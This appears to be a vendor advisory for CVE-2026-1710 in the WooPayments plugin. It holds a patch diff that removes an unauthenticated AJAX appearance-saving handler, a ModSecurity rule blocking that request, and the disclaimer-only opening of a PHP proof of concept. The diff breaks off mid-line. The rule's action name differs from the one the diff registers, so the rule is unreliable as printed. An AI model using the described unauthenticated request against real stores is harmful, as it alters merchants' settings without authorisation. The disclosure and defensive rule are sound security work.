-			'classic' => self::UPE_BNPL_PRODUCT_PAGE_APPEARANCE_THEME_TRANSIENT,
-		],
-		'cart'         => [
-			'blocks'  => self::UPE_BNPL_CART_BLOCK_APPEARANCE_THEME_TRANSIENT,
-			'classic' => self::UPE_BNPL_CLASSIC_CART_APPEARANCE_THEME_TRANSIENT,
-		],
-	];
+	const PROCESS_REDIRECT_ORDER_MISMATCH_ERROR_CODE = 'upe_process_redirect_order_id_mismatched';

 	/**
 	 * Client for making requests to the WooCommerce Payments API
@@ -364,6 +335,13 @@
 		if ( $this->is_saved_cards_enabled() ) {
 			array_push( $this->supports, 'tokenization', 'add_payment_method' );
 		}
+
+		// enabling the custom place order button for express checkout methods (Apple Pay, Google Pay, Amazon Pay)
+		// only when the feature is available. Other payment methods like WooPay or card will return `false` for `is_express_checkout()`.
+		if ( property_exists( $this, 'has_custom_place_order_button' ) && $this->payment_method->is_express_checkout() && WC_Payments::get_gateway()->is_express_checkout_in_payment_methods_enabled() ) {
+			$this->has_custom_place_order_button = true;
+			$this->has_fields                    = false;
+		}
 	}

 	/**
@@ -882,6 +860,26 @@
 	 * @return bool Whether the gateway is enabled and ready to accept payments.
 	 */
 	public function is_available() {
+		// Express checkout methods (Apple Pay, Google Pay, Amazon Pay) are only available
+		// in the payment methods list when the feature is enabled. Otherwise, they appear
+		// as separate express checkout buttons.
+		if ( $this->payment_method->is_express_checkout() && ! is_admin() ) {
+			if ( ! WC_Payments::get_gateway()->is_express_checkout_in_payment_methods_enabled() ) {
+				return false;
+			}
+		}
+
+		return $this->check_base_availability();
+	}
+
+	/**
+	 * Checks base availability without checkout-page-specific restrictions.
+	 * Used by is_available_for_express_checkout() for payment methods that are
+	 * only available via express checkout (e.g., Amazon Pay).
+	 *
+	 * @return bool
+	 */
+	protected function check_base_availability() {
 		if ( ! WC_Payments::get_gateway()->is_enabled() ) {
 			return false;
 		}
@@ -925,7 +923,7 @@
 		}

 		// Disable the gateway if it should not be displayed on the checkout page.
-		$is_gateway_enabled = in_array( $this->stripe_id, $this->get_payment_method_ids_enabled_at_checkout(), true ) ? true : false;
+		$is_gateway_enabled = in_array( $this->stripe_id, $this->get_payment_method_ids_enabled_at_checkout(), true );
 		if ( ! $is_gateway_enabled ) {
 			return false;
 		}
@@ -934,6 +932,25 @@
 	}

 	/**
+	 * Checks if the gateway is available for express checkout.
+	 * This bypasses checkout-page-specific restrictions for payment methods
+	 * that are only available via express checkout buttons.
+	 *
+	 * @return bool
+	 */
+	public function is_available_for_express_checkout() {
+		if ( is_admin() ) {
+			// In admin context (e.g. block editor preview), skip full availability
+			// checks. check_base_availability() includes runtime checks (HTTPS,
+			// currency, capability status) that can fail without an active cart
+			// or customer session. A simple enabled check is sufficient here.
+			return WC_Payments::get_gateway()->is_enabled() && $this->is_enabled();
+		}
+
+		return $this->check_base_availability();
+	}
+
+	/**
 	 * Overrides the parent method by adding an additional check to see if the tokens list is empty.
 	 * If it is, the method avoids displaying the HTML element with an empty line to maintain a clean user interface and remove unnecessary space.
 	 *
@@ -977,6 +994,20 @@
 	}

 	/**
+	 * Whether express checkout methods should appear in the payment methods list
+	 * instead of as separate express buttons.
+	 *
+	 * Requires both the dynamic checkout place order button feature flag
+	 * and the express_checkout_in_payment_methods gateway setting.
+	 *
+	 * @return bool
+	 */
+	public function is_express_checkout_in_payment_methods_enabled(): bool {
+		return WC_Payments_Features::is_dynamic_checkout_place_order_button_enabled()
+			&& 'yes' === $this->get_option( 'express_checkout_in_payment_methods' );
+	}
+
+	/**
 	 * Check if account is eligible for card present.
 	 *
 	 * @return bool
@@ -1716,26 +1747,32 @@
 				}

 				// For $0 orders, we need to save the payment method using a setup intent.
-				$request = Create_And_Confirm_Setup_Intention::create();
-				$request->set_customer( $customer_id );
-
-				// Setting the credential based on what was provided.
 				$payment_credential = $payment_information->get_payment_method();
+
+				// For confirmation tokens (e.g.: through the ECE), we must create an unconfirmed `SetupIntent`
+				// and let the frontend confirm it with the confirmation token.
+				// Stripe's SetupIntent API doesn't support confirmation_token with confirm=true in the same way `PaymentIntent`s do.
 				if ( $payment_information->is_using_confirmation_token() ) {
-					$request->set_confirmation_token( $payment_credential );
+					$request = Create_Setup_Intention::create();
+					$request->set_customer( $customer_id );
+					$request->set_payment_method_types( $this->get_payment_method_types( $payment_information ) );
+					$request->set_metadata( $metadata );
+					$request->assign_hook( 'wcpay_create_setup_intention_request' );
 				} else {
+					$request = Create_And_Confirm_Setup_Intention::create();
+					$request->set_customer( $customer_id );
 					$request->set_payment_method( $payment_credential );
-				}
-				$request->set_metadata( $metadata );
-				$request->assign_hook( 'wcpay_create_and_confirm_setup_intention_request' );
-				$request->set_hook_args( $payment_information, false, $save_user_in_woopay );
-
-				if (
-					Payment_Method::CARD === $this->get_selected_stripe_payment_type_id() &&
-					in_array( Payment_Method::LINK, $this->get_upe_enabled_payment_method_ids(), true )
+					$request->set_metadata( $metadata );
+					$request->assign_hook( 'wcpay_create_and_confirm_setup_intention_request' );
+					$request->set_hook_args( $payment_information, false, $save_user_in_woopay );
+
+					if (
+						Payment_Method::CARD === $this->get_selected_stripe_payment_type_id() &&
+						in_array( Payment_Method::LINK, $this->get_upe_enabled_payment_method_ids(), true )
 					) {
-					$request->set_payment_method_types( $this->get_payment_method_types( $payment_information ) );
-					$request->set_mandate_data( $this->get_mandate_data() );
+						$request->set_payment_method_types( $this->get_payment_method_types( $payment_information ) );
+						$request->set_mandate_data( $this->get_mandate_data() );
+					}
 				}

 				/** @var WC_Payments_API_Setup_Intention $intent */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
@@ -1811,7 +1848,19 @@
 				}
 			}

-			if ( Intent_Status::REQUIRES_ACTION === $status ) {
+			$needs_frontend_confirmation = (
+				Intent_Status::REQUIRES_ACTION === $status
+				|| Intent_Status::REQUIRES_CONFIRMATION === $status
+				|| (
+					// For SetupIntents with confirmation tokens, the status will be 'requires_payment_method'
+					// since no payment method is attached yet (the confirmation token will be used on frontend).
+					Intent_Status::REQUIRES_PAYMENT_METHOD === $status
+					&& $payment_information->is_using_confirmation_token()
+					&& ! $payment_needed
+				)
+			);
+
+			if ( $needs_frontend_confirmation ) {
 				$next_action_type = $next_action['type'] ?? null;
 				if ( 'redirect_to_url' === $next_action_type && ! empty( $next_action[ $next_action_type ]['url'] ) ) {
 					$response = [
@@ -1827,17 +1876,26 @@
 						$next_action[ $next_action_type ]['expires_at']
 					);
 				} else {
+					// Build the redirect URL with the confirmation token for `SetupIntent`s requested through the ECE.
+					// Format: #wcpay-confirm-{si|pi}:{orderId}:{clientSecret}:{nonce}[:{confirmationToken}].
+					$redirect_hash_parts = [
+						$payment_needed ? 'pi' : 'si',
+						$order_id,
+						$client_secret,
+						wp_create_nonce( 'wcpay_update_order_status_nonce' ),
+					];
+
+					// For ECE SetupIntents, include the confirmation token so the frontend can
+					// use it with confirmSetup() to complete the confirmation.
+					if ( ! $payment_needed && $payment_information->is_using_confirmation_token() ) {
+						$redirect_hash_parts[] = $payment_information->get_payment_method();
+					}
+
 					$response = [
 						'result'         => 'success',
 						// Include a new nonce for update_order_status to ensure the update order
 						// status call works when a guest user creates an account during checkout.
-						'redirect'       => sprintf(
-							'#wcpay-confirm-%s:%s:%s:%s',
-							$payment_needed ? 'pi' : 'si',
-							$order_id,
-							$client_secret,
-							wp_create_nonce( 'wcpay_update_order_status_nonce' ),
-						),
+						'redirect'       => '#wcpay-confirm-' . implode( ':', $redirect_hash_parts ),
 						// Include the payment method ID so the Blocks integration can save cards.
 						'payment_method' => $payment_information->get_payment_method(),
 					];
@@ -1892,7 +1950,7 @@
 		// ensuring the payment method title is set before any early return paths to avoid incomplete order data.
 		$this->set_payment_method_title_for_order( $order, $payment_method_type, $payment_method_details );

-		if ( isset( $status ) && Intent_Status::REQUIRES_ACTION === $status && $this->is_changing_payment_method_for_subscription() ) {
+		if ( isset( $status ) && ( Intent_Status::REQUIRES_ACTION === $status || Intent_Status::REQUIRES_CONFIRMATION === $status ) && $this->is_changing_payment_method_for_subscription() ) {
 			// Because we're filtering woocommerce_subscriptions_update_payment_via_pay_shortcode, we need to manually set this delayed update all flag here.
 			if ( isset( $_POST['update_all_subscriptions_payment_method'] ) && wc_clean( wp_unslash( $_POST['update_all_subscriptions_payment_method'] ) ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing
 				$order->update_meta_data( '_delayed_update_payment_method_all', wc_clean( wp_unslash( $_POST['payment_method'] ) ) ); // phpcs:ignore WordPress.Security.NonceVerification.Missing
@@ -2207,7 +2265,15 @@
 		// If $gateway_id begins with `woocommerce_payments_` payment method is a split UPE LPM.
 		// Otherwise, $gateway_id must be `woocommerce_payments`.
 		if ( substr( $gateway_id, 0, strlen( $split_upe_gateway_prefix ) ) === $split_upe_gateway_prefix ) {
-			return [ str_replace( $split_upe_gateway_prefix, '', $gateway_id ) ];
+			$payment_method = str_replace( $split_upe_gateway_prefix, '', $gateway_id );
+
+			// Apple Pay and Google Pay are wrappers around card payments for Stripe.
+			$card_wrappers = [ Payment_Method::APPLE_PAY, Payment_Method::GOOGLE_PAY ];
+			if ( in_array( $payment_method, $card_wrappers, true ) ) {
+				return [ Payment_Method::CARD ];
+			}
+
+			return [ $payment_method ];
 		}

 		$eligible_payment_methods = WC_Payments::get_gateway()->get_payment_method_ids_enabled_at_checkout( $order_id, true );
@@ -2672,7 +2738,27 @@
 	 */
 	public function init_settings() {
 		parent::init_settings();
-		$this->enabled = ! empty( $this->settings[ static::METHOD_ENABLED_KEY ] ) && 'yes' === $this->settings[ static::METHOD_ENABLED_KEY ] ? 'yes' : 'no';
+
+		// Get the basic enabled value from settings.
+		$is_enabled = ! empty( $this->settings[ static::METHOD_ENABLED_KEY ] ) && 'yes' === $this->settings[ static::METHOD_ENABLED_KEY ];
+
+		// Card and express checkout methods are not in the UPE enabled list,
+		// so they only need the basic enabled setting check. Without this
+		// early return, they would fall through to the UPE list verification
+		// below and always end up disabled.
+		if ( 'card' === $this->stripe_id || $this->payment_method->is_express_checkout() ) {
+			return;
+		}
+
+		// For split gateways, also verify the method is in the UPE enabled list.
+		// This prevents sync issues where a gateway has enabled=yes but isn't
+		// actually configured for checkout in the UPE settings.
+		if ( $is_enabled ) {
+			$upe_enabled_methods = $this->get_upe_enabled_payment_method_ids();
+			$this->enabled       = in_array( $this->stripe_id, $upe_enabled_methods, true ) ? 'yes' : 'no';
+		} else {
+			$this->enabled = 'no';
+		}
 	}

 	/**
@@ -3682,13 +3768,39 @@
 				// For $0 orders, fetch the Setup Intent instead.
 				$setup_intent_request = Get_Setup_Intention::create( $intent_id );
 				/** @var WC_Payments_API_Setup_Intention $setup_intent */ // phpcs:ignore Generic.Commenting.DocComment.MissingShort
-				$intent    = $setup_intent_request->send();
-				$status    = $intent->get_status();
-				$charge_id = '';
+				$intent = $setup_intent_request->send();
+				$status = $intent->get_status();
+
+				// For $0 orders (free trials), directly complete the order when SetupIntent succeeds.
+				// This is similar to how WC Stripe Gateway handles it - calling payment_complete()
+				// directly ensures the order transitions to the correct status and activates subscriptions.
+				// Otherwise, the order would be in a "Pending payment" state and the subscription would be "Pending".
+				if ( Intent_Status::SUCCEEDED === $status && ! $order->is_paid() ) {
+					$order->payment_complete( $intent_id );
+
+					// Add a success note similar to mark_payment_completed().
+					$note = sprintf(
+					/* translators: %1: the successfully charged amount, %2: WooPayments, %3: transaction ID of the payment */
+						__( 'A payment of %1$s was successfully charged using %2$s (%3$s).', 'woocommerce-payments' ),
+						wc_price( $order->get_total(), [ 'currency' => $order->get_currency() ] ),
+						'WooPayments',
+						$intent_id
+					);
+					$order->add_order_note( $note );
+					$this->order_service->set_intention_status_for_order( $order, $status );
+					$order->save();
+				}
 			}

 			$payment_method_id = $intent->get_payment_method_id();

+			// For SetupIntents confirmed via frontend (e.g., ECE with confirmation tokens),
+			// store the payment method ID in order meta. This ensures subscription renewals
+			// can find the payment method even if token creation fails later.
+			if ( ! empty( $payment_method_id ) ) {
+				$this->order_service->set_payment_method_id_for_order( $order, $payment_method_id );
+			}
+
 			if ( Intent_Status::SUCCEEDED === $status ) {
 				$this->duplicate_payment_prevention_service->remove_session_processing_order( $order->get_id() );
 			}
@@ -3710,8 +3822,16 @@
 							$this->set_payment_method_title_for_order( $order, $payment_method_type, $payment_method_details );
 						}
 					} catch ( Exception $e ) {
-						// If saving the token fails, log the error message but catch the error to avoid crashing the checkout flow.
 						Logger::log( 'Error when saving payment method: ' . $e->getMessage() );
+
+						// For subscription orders, token creation failure is critical - renewals will fail.
+						// Re-throw the exception so the customer sees an error instead of a successful
+						// checkout that will fail on the first renewal.
+						if ( $is_subscription ) {
+							throw new Exception(
+								__( 'Unable to save payment method for subscription. Please try again or use a different payment method.', 'woocommerce-payments' )
+							);
+						}
 					}
 				}

@@ -3965,24 +4085,34 @@
 	/**
 	 * Returns a formatted token list for a user.
 	 *
-	 * @param int $user_id The user ID.
+	 * @param int         $user_id The user ID.
+	 * @param string|null $gateway_id Optional gateway ID to filter tokens. Defaults to card gateway.
 	 */
-	protected function get_user_formatted_tokens_array( $user_id ) {
+	protected function get_user_formatted_tokens_array( $user_id, $gateway_id = null ) {
 		$tokens = WC_Payment_Tokens::get_tokens(
 			[
 				'user_id'    => $user_id,
-				'gateway_id' => self::GATEWAY_ID,
+				'gateway_id' => $gateway_id ?? self::GATEWAY_ID,
 				'limit'      => self::USER_FORMATTED_TOKENS_LIMIT,
 			]
 		);

 		return array_map(
 			static function ( WC_Payment_Token $token ): array {
+				// ensures that Google Pay/Apple Pay methods display "Google Pay Visa ending in 1234",
+				// instead of just "Visa ending in 1234".
+				$wallet_type    = $token->get_meta( '_wcpay_wallet_type', true );
+				$name           = $token->get_display_name();
+				$payment_method = WC_Payments::get_payment_method_by_id( $wallet_type );
+				if ( $payment_method && method_exists( $payment_method, 'get_title' ) ) {
+					$name = join( ' ', [ $payment_method->get_title(), $name ] );
+				}
+
 				return [
 					'tokenId'         => $token->get_id(),
 					'paymentMethodId' => $token->get_token(),
 					'isDefault'       => $token->get_is_default(),
-					'displayName'     => $token->get_display_name(),
+					'displayName'     => $name,
 				];
 			},
 			array_values( $tokens )
@@ -4215,102 +4345,7 @@
 		return array_values( array_intersect( $available_methods, $methods_with_fees ) );
 	}

-	/**
-	 * Handle AJAX request for saving UPE appearance value to transient.
-	 *
-	 * @throws Exception - If nonce or setup intent is invalid.
-	 */
-	public function save_upe_appearance_ajax() {
-		try {
-			$is_nonce_valid = check_ajax_referer( 'wcpay_save_upe_appearance_nonce', false, false );
-			if ( ! $is_nonce_valid ) {
-				throw new Exception(
-					__( 'Unable to update UPE appearance values at this time.', 'woocommerce-payments' )
-				);
-			}
-
-			$elements_location = isset( $_POST['elements_location'] ) ? wc_clean( wp_unslash( $_POST['elements_location'] ) ) : null;
-			$appearance        = isset( $_POST['appearance'] ) ? json_decode( wc_clean( wp_unslash( $_POST['appearance'] ) ) ) : null;
-
-			$valid_locations = [ 'blocks_checkout', 'shortcode_checkout', 'bnpl_product_page', 'bnpl_classic_cart', 'bnpl_cart_block', 'add_payment_method' ];
-			if ( ! $elements_location || ! in_array( $elements_location, $valid_locations, true ) ) {
-				throw new Exception(
-					__( 'Unable to update UPE appearance values at this time.', 'woocommerce-payments' )
-				);
-			}
-
-			if ( in_array( $elements_location, [ 'blocks_checkout', 'shortcode_checkout' ], true ) ) {
-				$is_blocks_checkout = 'blocks_checkout' === $elements_location;
-				/**
-				 * This filter is only called on "save" of the appearance, to avoid calling it on every page load.
-				 * If you apply changes through this filter, you'll need to clear the transient data to see them at checkout.
-				 *
-				 * @deprecated 7.4.0 Use {@see 'wcpay_elements_appearance'} instead.
-				 * @since 7.3.0
-				 */
-				$appearance = apply_filters_deprecated( 'wcpay_upe_appearance', [ $appearance, $is_blocks_checkout ], '7.4.0', 'wcpay_elements_appearance' );
-			}
-
-			/**
-			 * This filter is only called on "save" of the appearance, to avoid calling it on every page load.
-			 * If you apply changes through this filter, you'll need to clear the transient data to see them at checkout.
-			 * $elements_location can be 'blocks_checkout', 'shortcode_checkout', 'bnpl_product_page', 'bnpl_classic_cart', 'bnpl_cart_block', 'add_payment_method'.
-			 *
-			 * @since 7.4.0
-			 */
-			$appearance = apply_filters( 'wcpay_elements_appearance', $appearance, $elements_location );
-
-			$appearance_transient       = [
-				'shortcode_checkout' => self::UPE_APPEARANCE_TRANSIENT,
-				'add_payment_method' => self::UPE_ADD_PAYMENT_METHOD_APPEARANCE_TRANSIENT,
-				'blocks_checkout'    => self::WC_BLOCKS_UPE_APPEARANCE_TRANSIENT,
-				'bnpl_product_page'  => self::UPE_BNPL_PRODUCT_PAGE_APPEARANCE_TRANSIENT,
-				'bnpl_classic_cart'  => self::UPE_BNPL_CLASSIC_CART_APPEARANCE_TRANSIENT,
-				'bnpl_cart_block'    => self::UPE_BNPL_CART_BLOCK_APPEARANCE_TRANSIENT,
-			][ $elements_location ];
-			$appearance_theme_transient = [
-				'shortcode_checkout' => self::UPE_APPEARANCE_THEME_TRANSIENT,
-				'add_payment_method' => self::UPE_ADD_PAYMENT_METHOD_APPEARANCE_THEME_TRANSIENT,
-				'blocks_checkout'    => self::WC_BLOCKS_UPE_APPEARANCE_THEME_TRANSIENT,
-				'bnpl_product_page'  => self::UPE_BNPL_PRODUCT_PAGE_APPEARANCE_THEME_TRANSIENT,
-				'bnpl_classic_cart'  => self::UPE_BNPL_CLASSIC_CART_APPEARANCE_THEME_TRANSIENT,
-				'bnpl_cart_block'    => self::UPE_BNPL_CART_BLOCK_APPEARANCE_THEME_TRANSIENT,
-			][ $elements_location ];
-
-			if ( null !== $appearance ) {
-				set_transient( $appearance_transient, $appearance, DAY_IN_SECONDS );
-				set_transient( $appearance_theme_transient, $appearance->theme, DAY_IN_SECONDS );
-			}
-
-			wp_send_json_success( $appearance, 200 );
-		} catch ( Exception $e ) {
-			// Send back error so it can be displayed to the customer.
-			wp_send_json_error(
-				[
-					'error' => [
-						'message' => WC_Payments_Utils::get_filtered_error_message( $e ),
-					],
-				],
-				WC_Payments_Utils::get_filtered_error_status_code( $e )
-			);
-		}
-	}

-	/**
-	 * Clear the saved UPE appearance transient value.
-	 */
-	public function clear_upe_appearance_transient() {
-		delete_transient( self::UPE_APPEARANCE_TRANSIENT );
-		delete_transient( self::WC_BLOCKS_UPE_APPEARANCE_TRANSIENT );
-		delete_transient( self::UPE_BNPL_PRODUCT_PAGE_APPEARANCE_TRANSIENT );
-		delete_transient( self::UPE_BNPL_CLASSIC_CART_APPEARANCE_TRANSIENT );
-		delete_transient( self::UPE_BNPL_CART_BLOCK_APPEARANCE_TRANSIENT );
-		delete_transient( self::UPE_APPEARANCE_THEME_TRANSIENT );
-		delete_transient( self::WC_BLOCKS_UPE_APPEARANCE_THEME_TRANSIENT );
-		delete_transient( self::UPE_BNPL_PRODUCT_PAGE_APPEARANCE_THEME_TRANSIENT );
-		delete_transient( self::UPE_BNPL_CLASSIC_CART_APPEARANCE_THEME_TRANSIENT );
-		delete_transient( self::UPE_BNPL_CART_BLOCK_APPEARANCE_THEME_TRANSIENT );
-	}

 	/**
 	 * Returns true if the code returned from the API represents an error that should be rate-limited.
@@ -4486,15 +4521,11 @@
 	}

 	/**
-	 * Checks if UPE appearance theme is set and returns appropriate icon URL.
+	 * Returns the appropriate icon URL for the payment method.
 	 *
 	 * @return string
 	 */
 	public function get_theme_icon() {
-		$upe_appearance_theme = get_transient( self::UPE_APPEARANCE_THEME_TRANSIENT );
-		if ( $upe_appearance_theme ) {
-			return 'night' === $upe_appearance_theme ? $this->payment_method->get_dark_icon() : $this->payment_method->get_icon();
-		}
 		return $this->payment_method->get_icon();
 	}

--- a/woocommerce-payments/includes/class-wc-payment-token-wcpay-amazon-pay.php
+++ b/woocommerce-payments/includes/class-wc-payment-token-wcpay-amazon-pay.php
@@ -0,0 +1,122 @@
+<?php
+/**
+ * Class WC_Payment_Token_WCPay_Amazon_Pay
+ *
+ * @package WooCommercePayments
+ */
+
+if ( ! defined( 'ABSPATH' ) ) {
+	exit; // Exit if accessed directly.
+}
+
+/**
+ * WooCommerce Amazon Pay Payment Token.
+ *
+ * Representation of a payment token for Amazon Pay.
+ *
+ * @class    WC_Payment_Token_WCPay_Amazon_Pay
+ */
+class WC_Payment_Token_WCPay_Amazon_Pay extends WC_Payment_Token {
+
+	/**
+	 * Class Constant so other code can be unambiguous.
+	 *
+	 * @type string
+	 */
+	const TYPE = 'wcpay_amazon_pay';
+
+	/**
+	 * The payment method type of this token.
+	 *
+	 * @var string
+	 */
+	protected $type = self::TYPE;
+
+	/**
+	 * Stores Amazon Pay payment token data.
+	 *
+	 * @var array
+	 */
+	protected $extra_data = [
+		'email' => '',
+	];
+
+	/**
+	 * Get payment method type to display to user.
+	 *
+	 * @param  string $deprecated Deprecated since WooCommerce 3.0.
+	 * @return string
+	 */
+	public function get_display_name( $deprecated = '' ) {
+		$email = $this->get_email();
+		if ( ! empty( $email ) ) {
+			return sprintf(
+				/* translators: %s: redacted customer email */
+				__( 'Amazon Pay (%s)', 'woocommerce-payments' ),
+				$email
+			);
+		}
+
+		return __( 'Amazon Pay', 'woocommerce-payments' );
+	}
+
+	/**
+	 * Hook prefix.
+	 */
+	protected function get_hook_prefix() {
+		return 'woocommerce_payments_token_wcpay_amazon_pay_get_';
+	}
+
+	/**
+	 * Returns the redacted customer email.
+	 * Note: The email is stored in redacted format for privacy.
+	 *
+	 * @param string $context What the value is for. Valid values are view and edit.
+	 *
+	 * @return string Redacted customer email.
+	 */
+	public function get_email( $context = 'view' ) {
+		$email = $this->get_prop( 'email', $context );
+
+		return $email ?? '';
+	}
+
+	/**
+	 * Set the customer email. The email is automatically redacted for privacy.
+	 *
+	 * @param string $email Customer email (will be redacted before storage).
+	 */
+	public function set_email( $email ) {
+		$this->set_prop( 'email', $this->redact_email_address( $email ) );
+	}
+
+	/**
+	 * Returns the type of this payment token.
+	 *
+	 * @param  string $deprecated Deprecated since WooCommerce 3.0.
+	 * @return string Payment Token Type.
+	 */
+	public function get_type( $deprecated = '' ) {
+		return self::TYPE;
+	}
+
+	/**
+	 * Transforms email address into redacted/shortened format like ***xxxx@domain.com.
+	 * Using shortened length of four characters to mimic CC last-4 digits.
+	 *
+	 * @param string $email Email address.
+	 * @return string Redacted/shortened email address.
+	 */
+	private function redact_email_address( $email ) {
+		if ( empty( $email ) || false === strpos( $email, '@' ) ) {
+			return $email;
+		}
+
+		$placeholder             = '***';
+		$shortened_length        = 4;
+		list( $handle, $domain ) = explode( '@', $email );
+		$redacted_handle         = strlen( $handle ) > $shortened_length ? substr( $handle, - $shortened_length ) : $handle;
+
+		return "$placeholder$redacted_handle@$domain";
+	}
+}
--- a/woocommerce-payments/includes/class-wc-payments-account.php
+++ b/woocommerce-payments/includes/class-wc-payments-account.php
@@ -382,7 +382,9 @@
 			// Campaigns are temporary flags that are used to enable/disable features for a limited time.
 			'campaigns'           => [
 				// The flag for the WordPress.org merchant review campaign in 2025. Eligibility is determined per-account on transact-platform-server.
-				'wporgReview2025' => $account['eligibility_wporg_review_campaign_2025'] ?? false,
+				'wporgReview2025'    => $account['eligibility_wporg_review_campaign_2025'] ?? false,
+				// The flag for the payments settings review prompt (Phase 0). Eligibility is determined per-account on transact-platform-server.
+				'reviewPromptPhase0' => $account['eligibility_review_prompt_phase_0'] ?? false,
 			],
 		];
 	}
@@ -2573,6 +2575,7 @@
 	 */
 	public function handle_loan_approved_inbox_note( $account ) {
 		require_once WCPAY_ABSPATH . 'includes/notes/class-wc-payments-notes-loan-approved.php';
+		require_once WCPAY_ABSPATH . 'includes/class-wc-payments-explicit-price-formatter.php';

 		// If the account cache is empty, don't try to create an inbox note.
 		if ( empty( $account ) ) {
@@ -2653,6 +2656,16 @@
 	}

 	/**
+	 * Checks if the account is eligible for the review prompt (Phase 0).
+	 *
+	 * @return bool
+	 */
+	public function is_review_prompt_eligible(): bool {
+		$account = $this->get_cached_account_data();
+		return $account['eligibility_review_prompt_phase_0'] ?? false;
+	}
+
+	/**
 	 * Gather the latest store setup state and send it to the Transact Platform.
 	 *
 	 * @return void
@@ -2714,14 +2727,14 @@

 		return [
 			// The WooPayments setup details.
-			'gateway'                => [
+			'gateway'                                     => [
 				'enabled'              => $gateway->is_enabled(),
 				'test_mode'            => WC_Payments::mode()->is_test(),
 				'test_mode_onboarding' => WC_Payments::mode()->is_test_mode_onboarding(),
 			],

 			// Payment methods setup.
-			'payment_methods'        => [
+			'payment_methods'                             => [
 				'available'  => $payment_methods_available,
 				'enabled'    => $payment_methods_enabled,
 				'disabled'   => $payment_methods_disabled,
@@ -2729,18 +2742,18 @@
 			],
 			// Payment methods mapped to capabilities, for flexibility with the Transact Platform.
 			// E.g. 'card_payments' capability corresponds to 'card' payment method.
-			'provider_capabilities'  => [
+			'provider_capabilities'                       => [
 				'available' => $provider_capabilities_available,
 				'enabled'   => $provider_capabilities_enabled,
 				'disabled'  => $provider_capabilities_disabled,
 			],
-			'apple_google_pay_in_payment_methods_options_enabled' => $gateway->get_option( 'apple_google_pay_in_payment_methods_options' ),
+			'express_checkout_in_payment_methods_enabled' => $gateway->get_option( 'express_checkout_in_payment_methods' ),

-			'saved_cards_enabled'    => $gateway->is_saved_cards_enabled(),
-			'manual_capture_enabled' => 'yes' === $gateway->get_option( 'manual_capture' ),
-			'debug_log_enabled'      => 'yes' === $gateway->get_option( 'enable_logging' ),
+			'saved_cards_enabled'                         => $gateway->is_saved_cards_enabled(),
+			'manual_capture_enabled'                      => 'yes' === $gateway->get_option( 'manual_capture' ),
+			'debug_log_enabled'                           => 'yes' === $gateway->get_option( 'enable_logging' ),

-			'payment_request'        => [
+			'payment_request'                             => [
 				'enabled'              => $gateway->is_payment_request_enabled(),
 				'enabled_locations'    => $this->get_express_checkout_method_locations( $gateway, 'payment_request' ),
 				'button_type'          => $gateway->get_option( 'payment_request_button_type' ),
@@ -2749,7 +2762,7 @@
 				'button_border_radius' => $gateway->get_option( 'payment_request_button_border_radius' ),
 			],

-			'woopay'                 => [
+			'woopay'                                      => [
 				'enabled'                 => WC_Payments_Features::is_woopay_enabled(),
 				'enabled_locations'       => $this->get_express_checkout_method_locations( $gateway, 'woopay' ),
 				'store_logo'              => $gateway->get_option( 'platform_checkout_store_logo' ),
@@ -2758,17 +2771,17 @@
 			],

 			// WooPayments features.
-			'multi_currency_enabled' => WC_Payments_Features::is_customer_multi_currency_enabled(),
-			'stripe_billing_enabled' => WC_Payments_Features::is_stripe_billing_enabled(),
+			'multi_currency_enabled'                      => WC_Payments_Features::is_customer_multi_currency_enabled(),
+			'stripe_billing_enabled'                      => WC_Payments_Features::is_stripe_billing_enabled(),

 			// Other WooPayments details.
-			'plugin'                 => [
+			'plugin'                                      => [
 				'version'              => defined( 'WCPAY_VERSION_NUMBER' ) ? explode( '-', WCPAY_VERSION_NUMBER, 2 )[0] : '',
 				'activation_timestamp' => get_option( 'wcpay_activation_timestamp', null ),
 			],

 			// Other store setup details.
-			'wp_setup'               => [
+			'wp_setup'                                    => [
 				'name'           => get_bloginfo( 'name' ),
 				'url'            => home_url(),
 				'active_theme'   => $this->get_store_theme_details(),
@@ -2776,7 +2789,7 @@
 				'version'        => get_bloginfo( 'version' ),
 				'locale'         => get_locale(),
 			],
-			'wc_setup'               => [
+			'wc_setup'                                    => [
 				'version'                     => defined( 'WC_VERSION' ) ? explode( '-', WC_VERSION, 2 )[0] : '',
 				'store_id'                    => ( class_exists( 'WC_Install' ) && defined( 'WC_Install::STORE_ID_OPTION' ) ) ? get_option( WC_Install::STORE_ID_OPTION, null ) : null,
 				'currency'                    => get_woocommerce_currency(),
--- a/woocommerce-payments/includes/class-wc-payments-checkout.php
+++ b/woocommerce-payments/includes/class-wc-payments-checkout.php
@@ -96,14 +96,11 @@
 		add_action( 'wc_payments_set_gateway', [ $this, 'set_gateway' ] );
 		add_action( 'wc_payments_add_upe_payment_fields', [ $this, 'payment_fields' ] );
 		add_action( 'wp', [ $this->gateway, 'maybe_process_upe_redirect' ] );
-		add_action( 'wp_ajax_save_upe_appearance', [ $this->gateway, 'save_upe_appearance_ajax' ] );
-		add_action( 'wp_ajax_nopriv_save_upe_appearanc

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-1710
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261710,phase:2,deny,status:403,chain,msg:'CVE-2026-1710 via WooPayments AJAX - Unauthenticated Plugin Settings Update',severity:'CRITICAL',tag:'CVE-2026-1710',tag:'WooPayments',tag:'WordPress'"
  SecRule ARGS_POST:action "@streq wcpay_save_upe_appearance" "chain"
    SecRule &REQUEST_COOKIES:wordpress_logged_in_* "@eq 0"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
